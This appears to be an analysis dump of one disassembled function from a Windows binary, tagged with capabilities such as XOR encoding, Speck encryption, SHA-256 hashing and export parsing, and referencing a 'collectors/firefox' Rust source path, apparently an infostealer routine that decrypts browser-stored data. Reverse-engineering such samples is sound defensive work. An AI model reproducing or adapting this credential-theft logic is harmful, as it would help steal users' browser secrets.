Function at 0x14001bc84
Capabilities:
Encode data using xor
Encrypt data using speck
Hash data using sha256
Resolve function by parsing pe exports

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0xe98
lea rbp, [rsp + 0x80]
movaps xmmword [rbp + 0xe00], xmm6
mov qword [rbp + 0xdf8], 0xfffffffffffffffe
mov qword [rbp + 0xdc0], r9
mov qword [rbp + 0xde8], rcx
lea rdi, [rbp + 0x7f0]
mov rcx, rdi
call fcn.14003fe45
mov rax, qword [rdi + 8]
mov rcx, qword [rdi + 0x10]
mov r15d, dword [rdi + 0x18]
mov r10b, byte [rdi + 0x1d]
mov r11, qword [rdi + 0x28]
cmp qword [rdi], 1
jne 0x14001bcfb
mov qword [rbp + 0x380], rax
mov qword [rbp + 0x388], rcx
jmp 0x14001bf97
mov dl, byte [rbp + 0x80c]
cmp dl, 3
ja case.default.0x14001bd25
mov r12, qword [rbp + 0x810]
xor r13d, r13d
movzx edx, dl
lea rdi, [0x14001dd90]
movsxd rdx, dword [rdi + rdx*4]
add rdx, rdi
jmp rdx
mov r13b, 1
jmp case.0x14001bd25.0
mov r13b, 2
jmp case.0x14001bd25.0
mov r13b, 3
test rcx, rcx
je 0x14001bd82
movzx edx, byte [rax]
mov r14d, edx
and r14d, 0x7f
lea rdi, [rax + 1]
dec rcx
test dl, dl
js 0x14001bd9d
mov r8, rcx
mov rax, r14
shr rax, 0x20
je 0x14001bdc6
mov dword [rbp + 0x7f0], 1
mov qword [rbp + 0x7f4], 4
mov rax, qword [rbp + 0x7f0]
mov rsi, qword [rbp + 0x7f8]
jmp 0x14001beee
mov qword [rbp + 0x380], 0
mov qword [rbp + 0x388], 1
jmp 0x14001bf97
test r14b, r14b
je 0x14001bf82
cmp r14b, 0x7f
jne 0x14001bdfb
mov dword [rbp + 0x380], 1
mov qword [rbp + 0x384], 2
jmp 0x14001bf97
test r13b, r13b
je 0x14001bdd5
cmp r13b, 3
jne 0x14001bef8
cmp r14, r8
mov qword [rbp + 0xdb8], rdi
mov qword [rbp + 0xda8], r8
jbe 0x14001be25
mov dword [rbp + 0x7f8], 0
mov qword [rbp + 0x800], r14
jmp 0x14001be61
movzx edx, r14b
mov r8, rcx
sub r8, rdx
jae 0x14001bf4a
sub rdx, rcx
mov qword [rbp + 0x380], 0
mov qword [rbp + 0x388], rdx
jmp 0x14001bf97
lea eax, [r15 - 1]
cmp eax, 0x1d
ja case.0x14001be40.2
lea rcx, [0x14001dda0]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
cmp r10b, 1
jne case.0x14001be40.2
mov dword [rbp + 0x7f8], 1
mov qword [rbp + 0x7fc], 0xc
mov qword [rbp + 0x7f0], 1
cmp dword [rbp + 0x7f8], 1
jne 0x14001bee0
cmp byte [rbp + 0x7fc], 0xd
jne 0x14001bee0
mov qword [rbp + 0xde0], r11
mov byte [rbp + 0xdf0], r10b
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], r14
mov qword [rsp + 0x30], 0x32
lea rbx, [rbp + 0x380]
mov rcx, rbx
mov rdx, qword [rbp + 0xdb8]
mov r8, qword [rbp + 0xda8]
xor r9d, r9d
call fcn.14003e284
mov rsi, qword [rbx + 0x10]
mov rax, qword [rbx + 8]
cmp qword [rbx], 1
je 0x14001bf40
mov rcx, qword [rbp + 0x398]
mov r8, qword [rbp + 0x3a0]
jmp 0x14001c53c
mov rax, qword [rbp + 0x7f8]
mov rsi, qword [rbp + 0x800]
mov edi, 1
jmp 0x14001bfaa
mov qword [rbp + 0xde0], r11
mov byte [rbp + 0xdf0], r10b
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], r14
mov qword [rsp + 0x30], 0x32
lea rbx, [rbp + 0x7f0]
mov rcx, rbx
mov rdx, rdi
xor r9d, r9d
call fcn.14003e284
mov rsi, qword [rbx + 0x10]
mov rax, qword [rbx + 8]
cmp qword [rbx], 1
jne 0x14001c52e
mov edi, 1
jmp 0x14001c544
test r14b, r14b
je 0x14001bf82
add rdi, rdx
xor ecx, ecx
xor r14d, r14d
mov rsi, r14
shr rsi, 0x38
jne 0x14001bdac
movzx esi, byte [rax + rcx + 1]
shl r14, 8
or r14, rsi
inc rcx
cmp rdx, rcx
jne 0x14001bf57
cmp r14, 0x7e
ja 0x14001bd51
mov dword [rbp + 0x380], 1
mov qword [rbp + 0x384], 0xc
mov rax, qword [rbp + 0x380]
mov rsi, qword [rbp + 0x388]
mov edi, 1
mov bl, byte [rbp + 0xc12]
mov byte [rbp + 0x792], bl
movzx ebx, word [rbp + 0xc10]
mov word [rbp + 0x790], bx
movdqa xmm0, xmmword [rbp + 0x380]
movdqa xmmword [rbp - 0x40], xmm0
mov rbx, qword [rbp + 0x390]
mov qword [rbp - 0x30], rbx
test rdi, rdi
je 0x14001c003
mov rdx, qword [rbp + 0xde8]
mov dword [rdx + 8], 2
mov qword [rdx + 0x18], rsi
mov qword [rdx + 0x10], rax
mov qword [rdx], 1
jmp 0x14001c245
mov qword [rbp + 0xd38], 0
mov qword [rbp + 0xd40], r14
mov qword [rbp + 0xd48], r12
mov qword [rbp + 0xd50], r11
mov dword [rbp + 0xd58], r15d
mov byte [rbp + 0xd5c], r13b
mov byte [rbp + 0xd5d], r10b
mov r12d, r9d
mov byte [rbp + 0xd60], r9b
movzx eax, word [rbp + 0x790]
mov word [rbp + 0xd61], ax
mov al, byte [rbp + 0x792]
mov byte [rbp + 0xd63], al
mov dword [rbp + 0xd64], edx
mov qword [rbp + 0xd68], rcx
mov qword [rbp + 0xd70], r8
movdqa xmm0, xmmword [rbp - 0x40]
movdqu xmmword [rbp + 0xd78], xmm0
mov rax, qword [rbp - 0x30]
mov qword [rbp + 0xd88], rax
cmp r9b, 0x12
je 0x14001c098
cmp r12b, 0x13
jne 0x14001d92e
cmp qword [rbp + 0xd78], 0
je 0x14001d92e
lea r8, str.srccollectors_firefox.rs
mov qword [rbp + 0xdf0], rcx
xor edx, edx
call fcn.14004007d
movzx ecx, byte [rax + 0x28]
add rcx, 0xfffffffffffffff9
cmp rcx, 2
jae 0x14001d959
add rax, 0x30
lea rcx, [rbp + 0xcb0]
mov rdx, rax
call fcn.14003d56a
mov r13, qword [rbp + 0xe80]
pxor xmm0, xmm0
movdqa xmmword [rbp + 0x7f0], xmm0
mov qword [rbp + 0x7fd], 0
mov r10b, 1
xor esi, esi
lea r8, [0x14024c0c8]
lea r11, [0x1401a2598]
movzx r9d, byte [rsi + r11]
mov rax, rsi
or rax, 1
movzx edi, byte [rax + r11]
mov rax, rsi
or rax, 2
movzx r14d, byte [rax + r11]
mov rax, rsi
or rax, 3
movzx r15d, byte [rax + r11]
mov rax, rsi
or rax, 4
movzx eax, byte [rax + r11]
mov rbx, rsi
or rbx, 5
movzx ebx, byte [rbx + r11]
mov rcx, rsi
or rcx, 6
mov rdx, rsi
or rdx, 7
movzx ecx, byte [rcx + r11]
movzx edx, byte [rdx + r11]
shl rdx, 0x38
shl rcx, 0x30
or rcx, rdx
shl rbx, 0x28
shl rax, 0x20
shl r15, 0x18
shl r14, 0x10
shl rdi, 8
or rdi, r9
or rdi, r14
or rdi, r15
or rdi, rax
or rdi, rbx
or rdi, rcx
xor rdi, qword [rsi + r8]
mov qword [rbp + rsi + 0x7f0], rdi
mov esi, 8
test r10b, 1
mov r10d, 0
jne 0x14001c111
mov eax, 0xc940a16d
xor eax, dword [0x14024c0d8]
mov dword [rbp + 0x800], eax
mov al, byte [0x14024c0dc]
xor al, 0xbb
mov byte [rbp + 0x804], al
cmp qword [rbp + 0xcc0], 0x15
jne 0x14001c218
mov rax, qword [rbp + 0xcb0]
movdqu xmm0, xmmword [rax]
movdqu xmm1, xmmword [rax + 5]
movdqu xmm2, xmmword [rbp + 0x7f5]
pcmpeqb xmm0, xmmword [rbp + 0x7f0]
pcmpeqb xmm2, xmm1
pand xmm0, xmm2
pmovmskb eax, xmm0
cmp eax, 0xffff
je 0x14001c260
mov rax, qword [rbp + 0xde8]
mov dword [rax + 8], 4
mov qword [rax], 1
lea rcx, [rbp + 0xcb0]
call fcn.14000759a
lea rcx, [rbp + 0xd38]
call fcn.140007844
movaps xmm6, xmmword [rbp + 0xe00]
add rsp, 0xe98
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
cmp r12b, 0x12
je 0x14001c412
cmp r12b, 0x13
mov rcx, qword [rbp + 0xdf0]
jne 0x14001c427
cmp qword [rbp + 0xd78], 0
je 0x14001c427
lea r8, str.srccollectors_firefox.rs
mov edx, 1
call fcn.14004007d
lea r8, str.srccollectors_firefox.rs
mov rcx, rax
xor edx, edx
call fcn.14004007d
lea r8, str.srccollectors_firefox.rs
mov edx, 1
mov rcx, rax
call fcn.14004007d
lea r8, str.srccollectors_firefox.rs
mov rcx, rax
xor edx, edx
call fcn.14004007d
movzx ecx, byte [rax + 0x28]
cmp rcx, 0x1b
mov rbx, qword [rbp + 0xdf0]
ja 0x14001c740
mov edx, 0x9c3c01c
bt rdx, rcx
jb 0x14001c2ff
mov edx, 0x303e00
bt rdx, rcx
jae 0x14001c740
mov rcx, qword [rax + 0x30]
mov qword [rbp + 0xdb8], rcx
mov rax, qword [rax + 0x38]
mov qword [rbp + 0xda8], rax
cmp r12b, 0x12
je 0x14001c325
cmp r12b, 0x13
jne 0x14001d990
cmp qword [rbp + 0xd78], 0
je 0x14001d990
lea r8, str.srccollectors_firefox.rs
mov edx, 1
mov rcx, rbx
call fcn.14004007d
lea r8, str.srccollectors_firefox.rs
mov rcx, rax
xor edx, edx
call fcn.14004007d
lea r8, str.srccollectors_firefox.rs
mov edx, 1
mov rcx, rax
call fcn.14004007d
lea r8, str.srccollectors_firefox.rs
mov edx, 1
mov rcx, rax
call fcn.14004007d
mov rcx, rax
call fcn.14003ff0b
mov qword [rbp + 0xde0], rax
cmp dword [rbp + 0xde0], 0
je 0x14001c438
mov eax, dword [rbp + 0x820]
mov dword [rbp + 0x3b0], eax
movups xmm0, xmmword [rbp + 0x7f0]
movups xmm1, xmmword [rbp + 0x800]
movups xmm2, xmmword [rbp + 0x810]
movaps xmmword [rbp + 0x3a0], xmm2
movaps xmmword [rbp + 0x390], xmm1
movaps xmmword [rbp + 0x380], xmm0
mov rcx, qword [rbp + 0xde8]
mov dword [rcx + 8], 4
movdqa xmm0, xmmword [rbp + 0x380]
movdqa xmm1, xmmword [rbp + 0x390]
movdqa xmm2, xmmword [rbp + 0x3a0]
movdqu xmmword [rcx + 0xc], xmm0
movdqu xmmword [rcx + 0x1c], xmm1
movdqu xmmword [rcx + 0x2c], xmm2
mov eax, dword [rbp + 0x3b0]
jmp 0x14001c4f9
cmp qword [rbp + 0xd78], 0
mov rcx, qword [rbp + 0xdf0]
jne 0x14001c289
lea rcx, str.srccollectors_firefox.rs
call fcn.14003d2ac
jmp 0x14001da33
cmp r12b, 0x12
je 0x14001c508
cmp r12b, 0x13
mov rcx, qword [rbp + 0xdf0]
jne 0x14001c51d
cmp qword [rbp + 0xd78], 0
je 0x14001c51d
lea r8, str.srccollectors_firefox.rs
mov edx, 1
call fcn.14004007d
lea r8, str.srccollectors_firefox.rs
mov rcx, rax
xor edx, edx
call fcn.14004007d
lea r8, str.srccollectors_firefox.rs
mov edx, 1
mov rcx, rax
call fcn.14004007d
lea r8, str.srccollectors_firefox.rs
mov edx, 2
mov rcx, rax
call fcn.14004007d
mov rcx, rax
call fcn.14003ff0b
mov rbx, rax
test ebx, ebx
je 0x14001c557
mov rcx, qword [rbp + 0xde8]
mov dword [rcx + 8], 4
movdqu xmm0, xmmword [rbp + 0x7f0]
movdqu xmm1, xmmword [rbp + 0x800]
movdqu xmm2, xmmword [rbp + 0x810]
movdqu xmmword [rcx + 0xc], xmm0
movdqu xmmword [rcx + 0x1c], xmm1
movdqu xmmword [rcx + 0x2c], xmm2
mov eax, dword [rbp + 0x820]
mov dword [rcx + 0x3c], eax
mov qword [rcx], 1
jmp 0x14001c22d
cmp qword [rbp + 0xd78], 0
mov rcx, qword [rbp + 0xdf0]
jne 0x14001c461
lea rcx, str.srccollectors_firefox.rs
call fcn.14003d2ac
jmp 0x14001da33
mov rcx, qword [rbp + 0x808]
mov r8, qword [rbp + 0x810]
mov r9b, 0x1b
xor edi, edi
mov edx, r15d
mov r10b, byte [rbp + 0xdf0]
mov r11, qword [rbp + 0xde0]
jmp 0x14001bfaa
cmp r12b, 0x12
je 0x14001c71a
cmp r12b, 0x13
mov rcx, qword [rbp + 0xdf0]
jne 0x14001c72f
cmp qword [rbp + 0xd78], 2
jb 0x14001c72f
movzx eax, byte [rcx + 0x80]
cmp rax, 0x1b
ja 0x14001c740
mov edx, 0x9c3c01c
bt rdx, rax
jb 0x14001c5ab
mov edx, 0x303e00
bt rdx, rax
jae 0x14001c740
mov rdi, qword [rcx + 0x88]
mov rax, qword [rcx + 0x90]
mov qword [rbp + 0xdb0], rax
add r12b, 0xee
cmp r12b, 2
jae 0x14001da35
lea r8, str.srccollectors_firefox.rs
mov edx, 1
call fcn.14004007d
lea r8, str.srccollectors_firefox.rs
mov edx, 1
mov rcx, rax
call fcn.14004007d
lea r8, str.srccollectors_firefox.rs
mov edx, 1
mov rcx, rax
call fcn.14004007d
movzx ecx, byte [rax + 0x28]
cmp rcx, 0x1b
ja 0x14001c740
mov edx, 0x9c3c01c
bt rdx, rcx
jb 0x14001c62f
mov edx, 0x303e00
bt rdx, rcx
jae 0x14001c740
mov rcx, qword [rax + 0x30]
mov r12, qword [rax + 0x38]
movabs rax, 0xffffffff00000000
and rbx, rax
movabs rax, 0x2000000000
xor rax, rbx
jne 0x14001c218
mov qword [rbp + 0xdf0], rcx
lea r14, [rbp + 0x798]
mov eax, dword [0x14020bf98]
mov dword [r14 + 0x10], eax
movdqu xmm0, xmmword [0x14020bf88]
movdqu xmmword [r14], xmm0
mov qword [r14 - 8], 0
xorps xmm6, xmm6
movups xmmword [r14 + 0x14], xmm6
movups xmmword [r14 + 0x24], xmm6
movups xmmword [r14 + 0x34], xmm6
movups xmmword [r14 + 0x44], xmm6
mov dword [r14 + 0x54], 0
test r13, r13
mov qword [rbp + 0xcd8], rdi
je 0x14001c7c8
lea r15, [rbp + 0x7b0]
mov rdx, qword [rbp + 0xdc0]
cmp r13, 0x40
mov ebx, 0x40
cmovb rbx, r13
cmp r13, 0x3f
jbe 0x14001c6e9
add qword [rbp + 0x790], 0x40
mov rcx, r14
mov rsi, rdx
call fcn.14009be1c
jmp 0x14001c6fd
mov rcx, r15
mov rsi, rdx
mov r8, rbx
call sub.VCRUNTIME140.dll_memcpy
mov dword [rbp + 0x7ac], ebx
mov rdx, rsi
add rdx, rbx
sub r13, rbx
jne 0x14001c6c1
mov rdi, qword [rbp + 0x790]
mov esi, dword [rbp + 0x7ac]
jmp 0x14001c7cc
cmp qword [rbp + 0xd78], 1
mov rcx, qword [rbp + 0xdf0]
ja 0x14001c580
lea rcx, str.srccollectors_firefox.rs
call fcn.14003d2ac
jmp 0x14001da33
mov rax, qword [rbp + 0x810]
mov qword [rbp + 0x3a0], rax
movups xmm0, xmmword [rbp + 0x7f0]
movups xmm1, xmmword [rbp + 0x800]
movaps xmmword [rbp + 0x390], xmm1
movaps xmmword [rbp + 0x380], xmm0
mov rcx, qword [rbp + 0xde8]
mov qword [rcx + 8], 4
movdqa xmm0, xmmword [rbp + 0x380]
movdqa xmm1, xmmword [rbp + 0x390]
movdqu xmmword [rcx + 0x18], xmm0
movdqu xmmword [rcx + 0x28], xmm1
mov rax, qword [rbp + 0x3a0]
mov qword [rcx + 0x38], rax
jmp 0x14001c4fc
test r14, r14
je 0x14001be4c
lea rax, [r14 - 1]
cmp rax, r8
jae 0x14001be4c
cmp byte [rdi + rax], 0x5a
jne 0x14001be4c
jmp case.0x14001be40.2
xor esi, esi
xor edi, edi
mov ecx, 0x20
mov dl, 1
call fcn.14002181d
mov r13, rax
mov qword [rbp + 0xd90], rax
mov qword [rbp + 0xd98], rdx
mov qword [rbp + 0xda0], 0x20
mov eax, dword [r14 + 0x10]
mov dword [rbp + 0x390], eax
movdqu xmm0, xmmword [r14]
movdqa xmmword [rbp + 0x380], xmm0
mov rdx, rsi
mov r9d, edx
movaps xmmword [rbp + 0x860], xmm6
movaps xmmword [rbp + 0x850], xmm6
movaps xmmword [rbp + 0x840], xmm6
movaps xmmword [rbp + 0x830], xmm6
movaps xmmword [rbp + 0x820], xmm6
movaps xmmword [rbp + 0x810], xmm6
movaps xmmword [rbp + 0x800], xmm6
movaps xmmword [rbp + 0x7f0], xmm6
cmp edx, 0x81
jae 0x14001da9d
mov qword [rbp + 0xdc0], r12
cmp edx, 0x41
jae 0x14001dab3
add rdi, r9
mov rax, rdi
shr rax, 0x35
mov rcx, rdi
shr rcx, 0x2d
mov rbx, rdi
shr rbx, 0x25
mov rsi, rdi
shr rsi, 0x1d
mov r14, rdi
shr r14, 0x15
mov r12, rdi
shr r12, 0xd
mov r15, rdi
shr r15, 5
shl dil, 3
movzx edi, dil
test edx, edx
je 0x14001c973
mov qword [rbp + 0xcf0], rdx
lea rdx, [rbp + 0x7b0]
mov qword [rbp + 0xce8], rcx
lea rcx, [rbp + 0x7f0]
mov qword [rbp + 0xce0], rax
mov r8, r9
mov qword [rbp + 0xcf8], r9
call sub.VCRUNTIME140.dll_memcpy
mov rcx, qword [rbp + 0xce8]
mov rax, qword [rbp + 0xce0]
mov rdx, qword [rbp + 0xcf8]
mov byte [rbp + rdx + 0x7f0], 0x80
cmp dword [rbp + 0xcf0], 0x38
jb 0x14001c97c
shl rdi, 0x38
mov edx, 0xff
and r15, rdx
shl r15, 0x30
or r15, rdi
and r12, rdx
shl r12, 0x28
or r12, r15
and r14, rdx
shl r14, 0x20
or r14, r12
shl esi, 0x18
or rsi, r14
and rbx, rdx
shl rbx, 0x10
or rbx, rsi
shl ecx, 8
movzx ecx, cx
or rcx, rbx
and rax, rdx
or rax, rcx
lea rdx, [rbp + 0x7f0]
mov qword [rdx + 0x78], rax
lea rcx, [rbp + 0x380]
call fcn.14009be1c
lea rdx, [rbp + 0x830]
lea rcx, [rbp + 0x380]
call fcn.14009be1c
jmp 0x14001c9d9
mov byte [rbp + r9 + 0x7f0], 0x80
shl rdi, 0x38
mov edx, 0xff
and r15, rdx
shl r15, 0x30
or r15, rdi
and r12, rdx
shl r12, 0x28
or r12, r15
and r14, rdx
shl r14, 0x20
or r14, r12
shl esi, 0x18
or rsi, r14
and rbx, rdx
shl rbx, 0x10
or rbx, rsi
shl ecx, 8
movzx ecx, cx
or rcx, rbx
and rax, rdx
or rax, rcx
lea rdx, [rbp + 0x7f0]
mov qword [rdx + 0x38], rax
lea rcx, [rbp + 0x380]
call fcn.14009be1c
mov eax, dword [rbp + 0x380]
mov ecx, eax
shr ecx, 0x18
mov byte [rbp + 0xdcc], cl
mov ecx, eax
shr ecx, 0x10
mov byte [rbp + 0xdcd], cl
mov byte [rbp + 0xdce], ah
mov byte [rbp + 0xdcf], al
mov eax, dword [rbp + 0x384]
mov ecx, eax
shr ecx, 0x18
mov byte [rbp + 0xdd0], cl
mov ecx, eax
shr ecx, 0x10
mov byte [rbp + 0xdd1], cl
mov byte [rbp + 0xdd2], ah
mov byte [rbp + 0xdd3], al
mov eax, dword [rbp + 0x388]
mov ecx, eax
shr ecx, 0x18
mov byte [rbp + 0xdd4], cl
mov ecx, eax
shr ecx, 0x10
mov byte [rbp + 0xdd5], cl
mov byte [rbp + 0xdd6], ah
mov byte [rbp + 0xdd7], al
mov eax, dword [rbp + 0x38c]
mov ecx, eax
shr ecx, 0x18
mov byte [rbp + 0xdd8], cl
mov ecx, eax
shr ecx, 0x10
mov byte [rbp + 0xdd9], cl
mov byte [rbp + 0xdda], ah
mov byte [rbp + 0xddb], al
mov eax, dword [rbp + 0x390]
mov ecx, eax
shr ecx, 0x18
mov byte [rbp + 0xddc], cl
mov ecx, eax
shr ecx, 0x10
mov byte [rbp + 0xddd], cl
mov byte [rbp + 0xdde], ah
mov byte [rbp + 0xddf], al
mov rax, qword [rbp + 0xde0]
shr rax, 0x20
mov dword [rbp + 0x380], 4
test eax, eax
je 0x14001d66c
mov r12, rax
mov dword [rbp + 0x7f4], eax
mov dword [rbp + 0x7f0], 0
lea rcx, [rbp + 0x380]
call fcn.14000815c
movdqu xmm0, xmmword [rbp + 0x7f8]
movdqu xmm1, xmmword [rbp + 0x808]
movdqu xmm2, xmmword [rbp + 0x818]
movdqa xmmword [rbp + 0xd00], xmm0
movdqa xmmword [rbp + 0xd10], xmm1
movdqa xmmword [rbp + 0xd20], xmm2
mov rax, qword [rbp + 0x828]
mov qword [rbp + 0xd30], rax
call fcn.140094270
call fcn.140094270
movups xmm0, xmmword [0x14020a470]
lea rdx, [rbp + 0xc60]
movaps xmmword [rdx - 0x20], xmm0
movdqu xmm1, xmmword [0x14020a460]
movdqa xmmword [rdx - 0x30], xmm1
movdqu xmm2, xmmword [0x14020a450]
movdqa xmmword [rdx - 0x40], xmm2
movups xmm3, xmmword [0x14020a440]
movaps xmmword [rdx - 0x50], xmm3
lea rcx, [0x14020a410]
xor eax, eax
mov qword [rdx - 0x10], rax
mov qword [rdx - 8], rcx
movaps xmmword [rdx], xmm3
movdqa xmmword [rdx + 0x10], xmm2
movdqa xmmword [rdx + 0x20], xmm1
movaps xmmword [rdx + 0x30], xmm0
mov qword [rdx + 0x40], rax
mov qword [rdx + 0x48], rcx
movdqa xmm0, xmmword [str.6666666666666666]
movdqa xmmword [rbp + 0x860], xmm0
movdqa xmmword [rbp + 0x850], xmm0
movdqa xmmword [rbp + 0x840], xmm0
movdqa xmmword [rbp + 0x830], xmm0
movdqa xmmword [rbp + 0x820], xmm0
movdqa xmmword [rbp + 0x810], xmm0
movdqa xmmword [rbp + 0x800], xmm0
movdqa xmmword [rbp + 0x7f0], xmm0
mov cl, 0x36
xor cl, byte [rbp + rax + 0xdcc]
mov byte [rbp + rax + 0x7f0], cl
cmp rax, 0x13
je 0x14001cbf0
mov cl, byte [rbp + rax + 0x7f1]
inc rax
jmp 0x14001cbd0
lea rsi, [rbp + 0xc10]
lea rdx, [rbp + 0x7f0]
mov r8d, 1
mov rcx, rsi
call fcn.1400e4100
mov rax, qword [rsi + 0x40]
inc rax
je 0x14001dacc
lea rcx, [rbp + 0xc60]
mov qword [rcx - 0x10], rax
xor eax, eax
xor byte [rbp + rax + 0x7f0], 0x6a
inc rax
cmp rax, 0x40
jne 0x14001cc26
mov rbx, qword [rbp + 0xca8]
mov rdi, qword [rbx + 0x10]
test rdi, rdi
je 0x14001dae9
mov eax, 0x40
xor edx, edx
div rdi
mov rsi, rax
imul rax, rdi
mov qword [rbp + 0xcd0], rax
mov qword [rbp + 0xcc8], 0x40
cmp rax, 0x40
jne 0x14001db06
cmp rdi, 0x40
ja 0x14001cc9f
lea rdx, [rbp + 0x7f0]
mov r8, rsi
call qword [rbx + 0x20]
add rsi, qword [rbp + 0xca0]
jb 0x14001db80
mov qword [rbp + 0xca0], rsi
pxor xmm0, xmm0
movdqu xmmword [r13 + 0x10], xmm0
movdqu xmmword [r13], xmm0
lea rsi, [rbp + 0x10]
movaps xmm0, xmmword [rbp + 0xc10]
movaps xmm1, xmmword [rbp + 0xc20]
movaps xmm2, xmmword [rbp + 0xc30]
movaps xmm3, xmmword [rbp + 0xc40]
movaps xmmword [rsi - 0x20], xmm3
movaps xmmword [rsi - 0x30], xmm2
movaps xmmword [rsi - 0x40], xmm1
movaps xmmword [rsi - 0x50], xmm0
movaps xmm0, xmmword [rbp + 0xc50]
mov rdi, qword [rbp + 0xca0]
mov rbx, qword [rbp + 0xca8]
movaps xmmword [rsi - 0x10], xmm0
mov r8d, 0x88
mov rcx, rsi
xor edx, edx
call sub.VCRUNTIME140.dll_memset
lea rax, [rbp + 0xc60]
movdqu xmm0, xmmword [rax]
movdqu xmm1, xmmword [rax + 0x10]
movdqu xmm2, xmmword [rax + 0x20]
movups xmm3, xmmword [rax + 0x30]
movdqu xmmword [rsi + 0x88], xmm0
movdqu xmmword [rsi + 0x98], xmm1
movdqu xmmword [rsi + 0xa8], xmm2
movups xmmword [rsi + 0xb8], xmm3
mov qword [rsi + 0xc8], rdi
mov qword [rsi + 0xd0], rbx
lea rcx, [rbp - 0x40]
mov rdx, qword [rbp + 0xdb8]
mov r8, qword [rbp + 0xda8]
call fcn.140094314
lea rdx, [rbp + 0x7f0]
mov dword [rdx], 0x1000000
lea rcx, [rbp - 0x40]
mov r8d, 4
call fcn.140094314
lea rsi, [rbp + 0x7f0]
lea rdx, [rbp - 0x40]
mov r8d, 0x128
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rbp + 0xbc8]
mov rdx, rsi
call fcn.140094838
lea rbx, [rbp + 0x3d0]
lea rdi, [rbp + 0x380]
lea r15, [rbp + 0x7f0]
lea r14, [rbp + 0x748]
mov rdx, qword [rbp + 0xc08]
xor ecx, ecx
mov rax, qword [rdx]
cmp rax, 0x41
jae 0x14001d915
cmp rcx, rax
jae 0x14001d901
mov al, byte [rbp + rcx + 0xbc8]
xor byte [r13 + rcx], al
lea rax, [rcx + 1]
mov rcx, rax
cmp rax, 0x20
jne 0x14001cdce
cmp r12d, 1
je 0x14001cf05
mov rax, qword [rbp + 0xc08]
mov rsi, qword [rax]
cmp rsi, 0x41
jae 0x14001d9a1
movaps xmm0, xmmword [rbp + 0xc10]
movaps xmm1, xmmword [rbp + 0xc20]
movaps xmm2, xmmword [rbp + 0xc30]
movaps xmm3, xmmword [rbp + 0xc40]
movaps xmmword [rbp + 0x3b0], xmm3
movaps xmmword [rbp + 0x3a0], xmm2
movaps xmmword [rbp + 0x390], xmm1
movaps xmmword [rbp + 0x380], xmm0
movaps xmm0, xmmword [rbp + 0xc50]
movaps xmm6, xmmword [rbp + 0xca0]
movaps xmmword [rbp + 0x3c0], xmm0
mov r8d, 0x88
mov rcx, rbx
xor edx, edx
call sub.VCRUNTIME140.dll_memset
lea rax, [rbp + 0xc60]
movdqu xmm0, xmmword [rax]
movdqu xmm1, xmmword [rax + 0x10]
movdqu xmm2, xmmword [rax + 0x20]
movups xmm3, xmmword [rax + 0x30]
movdqu xmmword [rbx + 0x88], xmm0
movdqu xmmword [rbx + 0x98], xmm1
movdqu xmmword [rbx + 0xa8], xmm2
movups xmmword [rbx + 0xb8], xmm3
movups xmmword [rbp + 0x498], xmm6
mov rcx, rdi
lea rdx, [rbp + 0xbc8]
mov r8, rsi
call fcn.140094314
mov r8d, 0x128
mov rcx, r15
mov rdx, rdi
call sub.VCRUNTIME140.dll_memcpy
mov rcx, r14
mov rdx, r15
call fcn.140094838
dec r12d
mov ecx, 9
mov rax, rdi
lea rdi, [rbp + 0xbc8]
mov rsi, r14
rep movsq qword [rdi], qword [rsi]
mov rdi, rax
jmp 0x14001cdc5
mov rdi, qword [rbp + 0xdc0]
lea rcx, [rdi + 2]
call fcn.14004338f
lea rcx, [rbp + 0xbc8]
mov qword [rcx], rax
mov qword [rcx + 8], rdx
mov qword [rcx + 0x10], 0
mov r8d, 2
xor edx, edx
call fcn.140031241
lea rcx, [rbp + 0xbc8]
mov rax, qword [rcx]
mov rdx, qword [rcx + 0x10]
mov word [rax + rdx], 0xe04
add rdx, 2
mov qword [rcx + 0x10], rdx
mov r8, rdi
call fcn.140031241
mov r14, qword [rbp + 0xbc8]
mov rsi, qword [rbp + 0xbd8]
lea rcx, [r14 + rsi]
mov rdx, qword [rbp + 0xdf0]
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
add rsi, rdi
mov qword [rbp + 0xbd8], rsi
cmp rsi, 0x10
jne 0x14001da43
cmp qword [rbp + 0xda0], 0x20
jne 0x14001da43
mov rsi, qword [rbp + 0xd90]
lea rdi, [rbp + 0x7f0]
mov r8d, 0x3c0
mov rcx, rdi
xor edx, edx
call sub.VCRUNTIME140.dll_memset
mov qword [rsp + 0x20], rsi
mov rcx, rdi
mov rdx, rsi
mov r8, rsi
mov r9, rsi
call fcn.14001ff9c
lea rcx, [rbp + 0x830]
add rsi, 0x10
mov qword [rsp + 0x20], rsi
mov rdx, rsi
mov r8, rsi
mov r9, rsi
call fcn.14001ff9c
mov edx, 8
mov rcx, rdi
call fcn.140020181
mov esi, 0x10
mov r12d, 0x18
xor edi, edi
lea r15, [rbp + 0x7f0]
lea rbx, [rsi*8 + 0x7f0]
add rbx, rbp
mov rcx, rbx
call fcn.1400201e0
not qword [rbx]
not qword [rbx + 8]
not qword [rbx + 0x28]
not qword [rbx + 0x30]
xor byte [rbx + rdi*8 + 3], 0xf0
mov rcx, r15
mov rdx, rsi
mov r8d, 0x1c
call fcn.14002046f
inc rdi
cmp rdi, 7
je 0x14001d0aa
mov rcx, r15
mov rdx, rsi
call fcn.140020181
lea rsi, [r12*8 + 0x7f0]
add rsi, rbp
mov rcx, rsi
call fcn.1400201e0
not qword [rsi]
not qword [rsi + 8]
not qword [rsi + 0x28]
not qword [rsi + 0x30]
mov rcx, r15
mov rdx, r12
mov r8d, 0xc
call fcn.14002046f
mov rcx, r15
mov rdx, r12
call fcn.140020181
lea rsi, [r12 + 8]
add r12, 0x10
jmp 0x14001d012
mov qword [rbp + 0xdc0], r14
mov r13d, 8
xor ecx, ecx
movabs r11, 0xf00ff00f00000
movabs r8, 0xf0f00000f0f0000
movabs r15, 0xff000000ff0000
movabs r12, 0xf000ff000f0000
test cl, 1
je 0x14001d131
lea r10, [r13 + 0x1f]
inc r10
mov rcx, r13
add rcx, 0x1f
mov eax, 0x68
cmovb r10, rax
cmp rcx, rax
cmovae r10, rax
add r13, 0x1f
jb 0x14001d263
cmp r13, 0x68
jae 0x14001d263
lea r9, [r13 + 8]
